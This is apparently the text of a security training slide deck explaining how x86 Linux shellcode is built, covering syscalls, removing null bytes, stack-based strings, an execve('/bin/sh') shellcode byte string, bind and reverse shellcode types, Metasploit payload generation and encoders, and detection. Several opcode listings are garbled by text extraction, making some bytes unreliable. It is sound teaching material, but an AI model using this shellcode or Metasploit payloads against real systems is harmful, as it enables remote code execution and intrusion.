Shellcode
Shellcode?
Shellcode! Example in one slide

```
08048060  <_start>:
  8048060: 31 c0     xor   %eax,%eax
  8048062: 50        push  %eax
  8048063: 68 2f 2f 73 68  push $0x68732f2f
  8048068: 68 2f 62 69 6e  push $0x6e69626f
  804806d: 89 e3      mov   %esp,%ebx
  804806f: 89 c1      mov   %eax,%ecx
  8048071: 89 c2      mov   %eax,%edx
  8048073: b0 0b      mov   $0xb,%al
  8048075: cd 80      int   $0x80
  8048077: 31 c0      xor   %eax,%eax
  8048079: 40        inc   %eax
  804807a: cd 80      int   $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\n\x68\x68\x2f\x62\x69\x6e\x89\n\xe3\x89\xc1\x89\xc2\xb0\x0b\n\xcd\x80\x31\xc0\x40\xcd\x80";
```
Shellcode

Shellcode is:

The code we want to upload to the remote system

Our “evil code”

“A set of instructions injected and executed by exploited software”
Shellcode

“Arbitrary Code Execution”

Upload our own code!

Execute a “Shell” (like bash)

Also called “payload”
Shellcode

Server Software

Exploit

Evil

Evil
Shellcode

What should a shellcode do?

- Execute a shell (bash)
- Add admin user
- Download and execute more code
- Connect back to attacker
Shellcode

How does a shellcode work?

- Assembler instructions
- Native code which performs a certain action (like starting a shell)
Shellcode Properties

- **Should be small**
  - Because we maybe have small buffers in the vulnerable program
- **Position Independent**
  - Don’t know where it will be loaded in the vulnerable program
- **No Null Characters (0x00)**
  - `Strcpy` etc. will stop copying after Null bytes
- **Self-Contained**
  - Don’t reference anything outside of shellcode
Shellcode

Recap:

Shellcode is:

- A string of bytes
- Which can be executed
Syscalls
Note: Next slides are in x32 (not x64)
Syscalls

Syscalls?

- Ask the kernel to do something for us

Why syscalls?

- Makes it easy to create shellcode
- Direct interface to the kernel

Alternative:

- Call LIBC code: write()
- Problem: Don’t know where write() is located!
Syscalls

Let's try to write a shellcode with the `write()` syscall

To print a message:

```
"Hi there"
```

Code:

```c
write(1, "Hi there", 8);
```
syscalls(2):

The system call is the fundamental interface between an application and the Linux kernel.

System calls are generally not invoked directly, but rather via wrapper functions in glibc [...]

For example, glibc contains a function truncate() which invokes the underlying "truncate" system call.
Syscalls

Process Control
• load
• execute
• end, abort
• create process (for example, fork)
• terminate process
• get/set process attributes
• wait for time, wait event, signal event
• allocate, free memory

File management
• create file, delete file
• open, close
• read, write, reposition
• get/set file attributes
Syscalls

Example system calls:
- Accept
- Alarm
- Bind
- Brk
- Chmod
- Chown
- Clock_gettime
- Dup
- Exit
- Getcwd
- Kill
- Link
- Lseek
- Open
- poll
Syscalls

How to call a syscall:

```plaintext
mov eax <system_call_number>
int 0x80
```

Arguments in:
- EBX
- ECX
- EDX
- ...

© Compass Security Schweiz AG  www.csnc.ch
Syscalls

```c
write (  
    int fd,  
    char *msg,  
    unsigned int len);

write (  
    1,  
    &msg,  
    strlen(msg));
```
What are file descriptors?

0: Stdin
1: Stdout
2: Stderr

And also:

Files
Sockets (Network)
Syscalls

Systemcall calling convention:

- **EAX**: Write(): 0x04
- **EBX**: FD (file descriptor), stdout = 0x01
- **ECX**: address of string to write
- **EDX**: Length of string

- **int 0x80**: Execute syscall
Syscalls: Assembler print

write(
    int fd,
    char *msg,
    unsigned int len);

mov eax, 4  // write()
mov ebx, 1   // int fd
mov ecx, msg // char *msg
mov edx, 9   // unsigned int len
int 0x80     // invoke syscall
$ cat print.asm

section .data
msg db 'Hi there',0xa

section .text
global _start
_start:

; write (int fd, char *msg, unsigned int len);
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, 9
int 0x80

; exit (int ret)
mov eax, 1
mov ebx, 0
int 0x80
Syscalls: Assembler print

$ cat print.asm

```asm
section .data
msg db 'Hi there',0xa

section .text
global _start
_start:

; write (int fd, char *msg, unsigned int len);
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, 9
int 0x80

; exit (int ret)
mov eax, 1
mov ebx, 0
int 0x80
```

---

Data

Text
Syscalls

Recap:
- Syscalls are little functions provided by the kernel
- Can be called by putting syscall number in eax, and issuing int 80
- Arguments are in registers
How is shellcode formed?

Short description of shellcode
How is shellcode formed?

```
$ cat print.asm
section .data
msg db 'Hi there',0xa

section .text
global _start
_start:

; write (int fd, char *msg, unsigned int len);
mov eax, 4
mov ebx, 1
mov ecx, msg
mov edx, 9
int 0x80

; exit (int ret)
mov eax, 1
mov ebx, 0
int 0x80
```
How is shellcode formed?

Compile it:

```bash
$ nasm -f elf print.asm
```

Link it:

```bash
$ ld -m elf_i386 -o print print.o
```

Execute it:

```bash
$ ./print
Hi there
$`
How is shellcode formed?

$ objdump -d print

08048080 <_start>:

// print
8048080:   b8 04 00 00 00  mov   $0x4,%eax
8048085:   bb 01 00 00 00  mov   $0x1,%ebx
804808a:   b9 a4 90 04 08  mov   $0x80490a4,%ecx
804808f:   ba 09 00 00 00  mov   $0x9,%edx
8048094:   cd 80         int   $0x80

// exit()
8048096:   b8 01 00 00 00  mov   $0x1,%eax
804809b:   bb 00 00 00 00  mov   $0x0,%ebx
80480a0:   cd 80         int   $0x80
How is shellcode formed?

$ objdump -d print
08048080 <__start__>:

// print
8048080:   b8 04 00 00 00 00   mov   $0x4,%eax
8048085:   bb 01 00 00 00 00   mov   $0x1,%ebx
804808a:   b9 a4 90 04 08   mov   $0x80490a4,%ecx
804808f:   ba 09 00 00 00   mov   $0x9,%edx
8048094:   cd 80   int   $0x80

// exit()
8048096:   b8 01 00 00 00 00   mov   $0x1,%eax
804809b:   bb 00 00 00 00 00   mov   $0x0,%ebx
80480a0:   cd 80   int   $0x80
How is shellcode formed?

```bash
$ hexdump -C print
00000000  7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 |
00000010  02 00 03 00 01 00 00 00 80 80 04 08 34 00 00 00 |
00000020  94 01 00 00 00 00 00 00 34 00 20 00 02 00 28 00 |
00000030  06 00 03 00 01 00 00 00 00 00 00 00 00 00 00 |
00000040  02 00 03 00 01 00 00 00 a2 00 00 00 05 00 00 00 |
00000050  00 10 00 00 01 00 00 00 a4 00 00 00 a4 90 04 08 |
00000060  a4 90 04 08 09 00 00 00 09 00 00 00 06 00 00 00 |
00000070  00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 |
00000080  b8 04 00 00 00 0b 0b 01 00 00 0b 09 a4 90 04 08 |
00000090  09 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 00 |
000000a0  cd 80 00 00 48 69 20 74 68 65 72 65 0a 00 2e 73 |
000000b0  79 6d 74 61 62 00 2e 73 74 72 74 61 62 00 2e 73 |
| .ELF...........|
| ................4...|
| ................4. .(.
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ................|
| ....Hi there...s|
| ymtab..s... |
How is shellcode formed?

Compile/Assembler:
- The process of converting source code into a series of instructions/bytes
- Assembler -> Bytes

Disassemble:
- The process of converting a series of instructions/bytes into the equivalent assembler source code
- Bytes -> Assembler

Decompile:
- The process of converting instructions/assembler into the original source code
- Assembler -> C/C++
How is shellcode formed?

Stack

Data

Code

```
mov $0x4,%eax
mov $0x1,%ebx
mov $0x80490a4,%ecx
mov $0x9,%edx
int $0x80
```

```
8048080: b8 04 00 00 00    mov $0x4,%eax
8048085: bb 01 00 00 00    mov $0x1,%ebx
804808a: b9 a4 90 04 08    mov $0x80490a4,%ecx
804808f: ba 09 00 00 00    mov $0x9,%edx
8048094: cd 80            int $0x80
```

"Hi there"

```
48 69 20 74 68 65 72
```

0x80490a4
How is shellcode formed?

Problems with the shellcode:
- Null bytes
- References data section / Not position independent
How is shellcode formed?

Recap:
- Compiled assembler code produces bytes
- These bytes can be executed
- To have a functioning shellcode, some problems need to be fixed
  - 0 bytes
  - Data reference
Shellcode Fix: Null Bytes
Shellcode Fix: Null Bytes

Why are null bytes a problem?

- It’s a string delimiter
- `strcpy()` etc. will stop copying if it encounters a 0 byte
Shellcode Fix: Null Bytes

How to fix null bytes in shellcode?

- Replace instructions with contain 0 bytes
- Note: This is more an art than a technique.
Shellcode Fix: Null Bytes

// print
8048080:  b8 04 00 00 00       mov  $0x4,%eax
8048085:  bb 01 00 00 00       mov  $0x1,%ebx
804808a:  b9 a4 90 04 08       mov  $0x80490a4,%ecx
804808f:  ba 09 00 00 00       mov  $0x9,%edx
8048094:  cd 80                 int  $0x80

// exit()
8048096:  b8 01 00 00 00       mov  $0x1,%eax
804809b:  bb 00 00 00 00       mov  $0x0,%ebx
80480a0:  cd 80                 int  $0x80
Shellcode Fix: Null Bytes

How do we remove the null bytes?

- Replace instructions which have 0 bytes with equivalent instructions

Examples

- Has 0 bytes:

  ```
  mov $0x04, %eax
  ```

- Equivalent instructions (without 0 bytes):

  ```
  xor %eax, %eax
  mov $0x04, %al
  ```
Shellcode Fix: Null Bytes

// print
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx

8048068: b0 04 mov $0x4,%al
804806a: b3 01 mov $0x1,%bl
804806c: b2 08 mov $0x8,%dl

// exit()
804807c: b0 01 mov $0x1,%al
804807e: 31 db xor %ebx,%ebx
8048080: cd 80 int $0x80
Shellcode Fix: Null Bytes

Recap:
- Need to remove \x00 bytes
- By exchanging instructions with equivalent instructions
Shellcode Fix: Stack Reference
Shellcode Fix: Stack Reference

Problem:
- The current shellcode references a string from the data section
- In an exploit we can only execute code
  - not (yet) modify data!

Solution:
- Remove dependency on the data section
- By storing the same data directly in the code
- And move it to the stack
Shellcode Fix: Stack Reference

$ objdump -d print
08048080 </_start>/:

// print
8048080:  b8 04 00 00 00 00  mov  $0x4, %eax
8048085:  bb 01 00 00 00 00  mov  $0x1, %ebx
804808a:  b9 a4 90 04 08  mov  $0x80490a4, %ecx
804808f:  ba 09 00 00 00 00  mov  $0x9, %edx
8048094:  cd 80  int  $0x80

// exit()
8048096:  b8 01 00 00 00 00  mov  $0x1, %eax
804809b:  bb 00 00 00 00 00  mov  $0x0, %ebx
80480a0:  cd 80  int  $0x80
Shellcode Fix: Stack Reference

How does it look like in memory?
- We have a string in the data section
- We have code in the text section
- The code references the data section
Syscalls: Memory Layout

Code

Stack

Data

```
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 a4 90 04 08 mov $0x80490a4,%ecx
804808f: ba 09 00 00 00 mov $0x9,%edx
8048094: cd 80 int $0x80
```

“Hi there”

48 69 20 74 68 65 72 65

$0x80490a4
Shellcode Fix: Stack Reference

What do we want?
- Have the data in the code section!

How do we reference the data?
- Push the data onto the stack
- Reference the data on the stack (for the system call)
Syscalls: Memory Layout

ESP

Stack

Data

Code

“Hi there”

48 69 20 74 68 65 72 65

8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 a4 90 04 08 mov %esp,%ecx
804808f: ba 09 00 00 00 mov $0x9,%edx
8048094: cd 80 int $0x80
Shellcode Fix: Stack Reference

Translate to ASCII:

; Hi _ t h e r e

48 69 20 74 68 65 72 65

Invert for little endianness:

; 65 72 65 68 74 20 69 48
Shellcode Fix: Stack Reference

; Hi there
; 48 69 20 74 68 65 72 65
; 65 72 65 68 74 20 69 48

push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
Shellcode Fix: Stack Reference

- `<Stuff>`

```
push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
```
Shellcode Fix: Stack Reference

```
push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
```
Shellcode Fix: Stack Reference

```assembly
push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
```
Shellcode Fix: Stack Reference

```
push 0x65726568
push 0x74206948
mov ecx, esp
int 0x80
```
# Shellcode Fix: Stack Reference

<table>
<thead>
<tr>
<th>0x74206948</th>
<th>0x65726568</th>
<th>&lt;Stuff&gt;</th>
</tr>
</thead>
<tbody>
<tr>
<td>48 69 20 74 68 65 72 65</td>
<td>&lt;Stuff&gt;</td>
<td></td>
</tr>
<tr>
<td>Hi _ t he re</td>
<td>&lt;Stuff&gt;</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>2864434397</th>
<th>Number in Decimal (10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>0xAABBCCDD</td>
<td>Number in Hex (16)</td>
</tr>
<tr>
<td>DD  CC  BB  AA</td>
<td>Little Endian Storage</td>
</tr>
</tbody>
</table>
Shellcode Fix: Stack Reference

08048060 <_start>:

8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx

8048068: b0 04 mov $0x4,%al
804806a: b3 01 mov $0x1,%bl
804806c: b2 08 mov $0x8,%dl
804806e: 68 68 65 72 65 push $0x65726568
8048073: 68 48 69 20 74 push $0x74206948
8048078: 89 e1 mov %esp,%ecx
804807a: cd 80 int $0x80

804807c: b0 01 mov $0x1,%al
804807e: 31 db xor %ebx,%ebx
8048080: cd 80 int $0x80
Shellcode Fix: Stack Reference

Recap:
- External data reference needs to be removed
- Put the data into code
- And from the code into the stack
Fixed Shellcode
Shellcode Problems

Now we have:

- No null bytes!
- No external dependencies!
Memory Layout (Old, with data reference)

```
Stack

Code

Data

0x80490a4

“Hi there”
48 69 20 74 68 65 72 65

8048080:  b8 04 00 00 00 00  mov  $0x4,%eax
8048085:  bb 01 00 00 00 00  mov  $0x1,%ebx
804808a:  b9 a4 90 04 08 00  mov  $0x80490a4,%ecx
804808f:  ba 09 00 00 00 00  mov  $0x9,%edx
8048094:  cd 80  int  $0x80
```
Memory Layout (New, stack reference)

Stack

Data

Code

“Hi there”
48 69 20 74 68 65 72 65

804806e:  68 68 65 72 65 72 65  push  $0x65726568
8048073:  68 48 69 20 74 68 65 72 65  push  $0x74206948
8048078:  89 e1                      mov  %esp,%ecx
Convert shellcode

Convert the output of the objdump –d to C-like string:

```
objdump -d print2
 | grep "^ "
 | cut -d$'\t' -f 2
 | tr '\n' ''
 | sed -e 's/ *$///' 
 | sed -e 's/ \+//\x/g'
 | awk '{print "\x"$0}'
```

Wow, my command-line fu is off the charts!

Result:

```
x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xb2\x08\x68\x68\x65\x72\x65\x68\x48\x69\x20\x74\x89\xe1\xcd\x80\xb0\x01\x31\xdb\xcd\x80
```
Execute shellcode

```
$ cat shellcodetest.c
#include <stdio.h>
#include <string.h>

cchar *shellcode = "\x31\xc0\x31\xdb [...]";
int main(void) {
    ( *( void(*)() ) shellcode)();
}

$ gcc shellcodetest.c -o shellcodetest
$ ./shellcodetest
Hi there
$
Memory Layout (New New)

```
804806e:  68 68 65 72 65  
push $0x65726568
8048073:  68 48 69 20 74  
push $0x74206948
8048078:  89 e1
mov %esp,%ecx

“Hi there”
48 69 20 74 68 65 72 65
```
Execute Stuff

Want to execute something else than printing “Hi there!”
Execute Stuff

Syscall 11: execve()

```c
int execve(
    const char *filename,
    char *const argv[],
    char *const envp[]);
```

e.g.:
```c
execve("/bin/bash", NULL, NULL);
```
Shell Execute Shellcode:

```
08048060 <_start>:
  8048060: 31 c0       xor   %eax,%eax
  8048062: 50          push  %eax
  8048063: 68 2f 2f 73 68 push  $0x68732f2f
  8048068: 68 2f 62 69 6e push  $0x6e69622f
  804806d: 89 e3        mov   %esp,%ebx
  804806f: 89 c1        mov   %eax,%ecx
  8048071: 89 c2        mov   %eax,%edx
  8048073: b0 0b        mov   $0xb,%al
  8048075: cd 80        int   $0x80
  8048077: 31 c0        xor   %eax,%eax
  8048079: 40          inc   %eax
  804807a: cd 80        int   $0x80
```
Shellcode! Example in one slide

08048060 <_start>:
8048060: 31 c0
8048062: 50
8048063: 68 2f 2f 73 68
8048068: 68 2f 62 69 6e
804806d: 89 e3
804806f: 89 c1
8048071: 89 c2
8048073: b0 0b
8048075: cd 80
8048077: 31 c0
8048079: 40
804807a: cd 80

xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
mov %eax,%ecx
mov %eax,%edx
mov $0xb,%al
int $0x80
xor %eax,%eax
inc %eax
int $0x80

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
32 vs 64 bit
32bit vs 64bit

Syscalls in 64 bit are nearly identical to 32 bit

How to execute them:

32 bit: int 80
64 bit: syscall

Where are the arguments:

32 bit: ebx, ecx, edx, ...
64 bit: rdi, rsi, rdx
# 32bit vs 64bit

## Syscalls:

<table>
<thead>
<tr>
<th>32-bit syscall</th>
<th>64-bit syscall</th>
</tr>
</thead>
<tbody>
<tr>
<td>instruction</td>
<td>syscall</td>
</tr>
<tr>
<td>syscall number</td>
<td>RAX, e.g. execve = 0x3b</td>
</tr>
<tr>
<td>up to 6 inputs</td>
<td>RDI, RSI, RDX, R10, R8, R9</td>
</tr>
<tr>
<td>over 6 inputs</td>
<td>forbidden</td>
</tr>
<tr>
<td>example</td>
<td></td>
</tr>
</tbody>
</table>

### Example:

- **32-bit syscall**
  - `mov $0xb, %eax`
  - `lea string_addr, %ebx`
  - `mov $0, %ecx`
  - `mov $0, %edx`
  - `int $0x80`

- **64-bit syscall**
  - `mov $0x3b, %rax`
  - `lea string_addr, %rdi`
  - `mov $0, %rsi`
  - `mov $0, %rdx`
  - `syscall`
Types of shellcode
Types of shellcode

Types of shellcode:

Local shellcode (privilege escalation)

Remote shellcode
- Reverse
- Bind
- Find
Shellcode

Bind shellcode:

- Client Software
  - Shellcode
  - Port 8080

- Exploit
  - Port 31337
Shellcode

Reverse shellcode:

Client Software

Shellcode

Port 8080

Exploit

Port 31337
Shellcode

Find shellcode:

Client Software

Shellcode

Port 8080

Exploit
Types of shellcode:

Self contained (all in one)

Staged

- Minimal initial shellcode: Stager
- Stager loads stage 1
- Stage 1 loads Stage 2
Metasploit

Generate Shellcode with Metasploit
Who wants to code shellcode?

There is an app for that…

**Metasploit payloads:**
- Intel, ARM, MIPS, …
- Windows, Linux, FreeBSD, …
- 32/64 bit
- Listen-, connect-back-, execute, add-user, …
- Alphanumeric, sticky-bit, anti-IDS, …
Metasploit Shellcode: Payload List

Payloads:

$ msfconsole
msf > use payload/linux/x64/[TAB]
use payload/linux/x64/exec
use payload/linux/x64/shell/bind_tcp
use payload/linux/x64/shell/reverse_tcp
use payload/linux/x64/shell_bind_tcp
use payload/linux/x64/shell_bind_tcp_random_port
use payload/linux/x64/shell_find_port
use payload/linux/x64/shell_reverse_tcp
Let metasploit create an exec() shellcode:

```bash
msf > use payload/linux/x64/exec
msf payload(exec) > set cmd = "/bin/bash"
cmd => = /bin/bash
msf payload(exec) > generate
"\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
"\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" +
"\x0c\x00\x00\x00\x3d\x20\x2f\x62\x69\x6e\x2f\x62\x61\x73" +
"\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"
```
And now without null bytes:

```ruby
msf payload(exec) > generate -b '\x00\x0A'
"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
"\xff\xff\xff\x48\xbb\xca\x7f\x48\xd1\xcf\x89\xea\x19\x48" +
"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa0\x44\x10" +
"\x48\x87\x32\xc5\x7b\xa3\x11\x67\xa2\xa7\x89\xb9\x51\x43" +
"\x98\x20\xfc\xac\x89\xea\x51\x43\x99\x1a\x39\xc3\x89\xea" +
"\x19\xf7\x5f\x67\xb3\xa6\xe7\xc5\x7b\xab\x0c\x20\xd1\x99" +
"\xde\xa2\x90\x2c\x70\x4d\xd1\xcf\x89\xea\x19"
```
Metasploit Shellcode: Payload Encoder

Shellcode encoders:

```
msf payload(exec) > show encoders
[...]
```

- x86/add_sub
- x86/alpha_mixed
- x86/alpha_upper
- x86/avoid_underscore_tolower
- x86/avoid_utf8_tolower
- x86/countdown
- x86/fnstenv_mov
- x86/jmp_call_additive
- x86/nonealpha
- x86/nonupper
- x86/opt_sub
- x86/shikata_ga_nai
- x86/single_static_bit
- x86/unicode_mixed
- x86/unicode_upper

 encoder
 phanumeric Mixedcase Encoder
 phanumeric Uppercase Encoder
 erscore/tolower
 8/tolower
 A Metamorphic Block Based XOR Encoder
 ord XOR Encoder
 ed Context Keyed Payload Encoder
 ased Context Keyed Payload Encoder
ased Context Keyed Payload Encoder

- normal
- Variable-length Fnstenv/mov Dword XOR Encoder
- Jump/Call XOR Additive Feedback Encoder
- Non-Alpha Encoder
- Non-Upper Encoder
- Sub Encoder (optimised)
- Polymorphic XOR Additive Feedback Encoder
- Single Static Bit
- Alpha2 Alphanumeric Unicode Mixedcase Encoder
- Alpha2 Alphanumeric Unicode Uppercase Encoder
Metasploit Shellcode: Payload Encoder

Alphanumeric Shellcode
Recap:
- Metasploit can generate shellcode
- Pretty much any form of shellcode
Modern vulnerability exploiting: Shellcode

- https://drive.google.com/file/d/0B7qRLuwvXbWXT1htVUVpdjRZUmc/edit
Defense: Detect Shellcode
Detect Shellcode

How to detect shellcode usage:

- Find NOP’s (lots of 0x90)
- Find stager
- Find stage1 / stage2

NIDS: Network based Intrusion Detection System

HIDS: Host based Intrusion Detection System
Network based intrusion detection system